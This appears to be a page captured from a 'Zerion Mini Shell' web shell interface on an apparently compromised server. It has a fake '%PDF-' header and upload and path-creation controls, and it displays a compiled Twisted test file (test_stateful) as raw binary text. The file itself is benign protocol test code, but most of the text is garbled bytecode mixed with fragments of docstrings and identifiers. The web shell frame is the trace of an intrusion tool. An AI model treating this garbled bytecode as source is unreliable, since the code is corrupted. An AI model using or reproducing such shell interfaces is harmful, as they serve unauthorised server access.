%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_stateful.cpython-312.pyc

�

Ϫ�f����dZddlmZmZmZddlmZddlmZddl	m
Z
Gd�de�ZGd�d	e�ZGd
�de
ej�Zy)
z+
Test cases for twisted.protocols.stateful
�)�calcsize�pack�unpack)�StatefulProtocol)�
test_basic)�TestCasec�L�eZdZdZdZdZee�Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
y
)�MyInt32StringReceiverz)
    A stateful Int32StringReceiver.
    i��z!Ic��|jdfS�N�)�
_getHeader��selfs �</usr/lib/python3/dist-packages/twisted/test/test_stateful.py�getInitialStatez%MyInt32StringReceiver.getInitialStates������!�!�c�8�|jj�y�N)�	transport�loseConnection)r�lengths  r�lengthLimitExceededz)MyInt32StringReceiver.lengthLimitExceededs�����%�%�'rc�|�td|�\}||jkDr|j|�y|j|fS)N�!i)r�
MAX_LENGTHr�
_getString)r�msgrs   rrz MyInt32StringReceiver._getHeaders<���4��%�	���D�O�O�#��$�$�V�,������&�&rc�@�|j|�|jdfSr)�stringReceivedr�rrs  rrz MyInt32StringReceiver._getString&s�����C� �����!�!rc��t�)z 
        Override this.
        )�NotImplementedErrorr!s  rr z$MyInt32StringReceiver.stringReceived*s
��"�!rc�z�|jjt|jt	|��|z�y)zS
        Send an int32-prefixed string to the other end of the connection.
        N)r�writer�structFormat�len)r�datas  r�
sendStringz MyInt32StringReceiver.sendString0s,��	
�����T�$�"3�"3�S��Y�?�$�F�GrN)�__name__�
__module__�__qualname__�__doc__rr&r�prefixLengthrrrrr r)�rrr
r
s<����J��L��L�)�L�"�(�'�"�"�Hrr
c�&�eZdZd�Zd�ZdZdZd�Zy)�	TestInt32c��g|_yr)�receivedrs r�connectionMadezTestInt32.connectionMade8s	����
rc�:�|jj|�yr)r3�append)r�ss  rr zTestInt32.stringReceived;s���
�
���Q�r�2rc��d|_y)N�)�closed)r�reasons  r�connectionLostzTestInt32.connectionLostAs	����rN)r*r+r,r4r rr;r=r/rrr1r17s��� ��J�
�F�rr1c�,�eZdZeZddgZdgZgd�Zd�Zy)�
Int32Tests�asbbbbbbbbbbbbbbbbs
aaaaaa)sshello thererc��|j�}d}|jdzD]}|tdt|��|zz
}�|j	|�|j|j|jdz�y)Nrr
r)�getProtocol�stringsrr'�dataReceived�assertEqualr3)r�r�bigr7s    r�test_bigReceivezInt32Tests.test_bigReceiveKsp�������������!�	*�A��4��c�!�f�%��)�)�C�	*�	���s��������T�\�\�A�%5�6rN)	r*r+r,r1�protocolrC�illegalStrings�partialStringsrHr/rrr?r?Es#���H��Y��G�/�0�N�;�N�7rr?N)r-�structrrr�twisted.protocols.statefulr�twisted.protocols.testr�twisted.trial.unittestrr
r1�IntNTestCaseMixinr?r/rr�<module>rQsL��
�*�)�7�-�+�$H�,�$H�N�%��7��:�7�7�7r

Zerion Mini Shell 1.0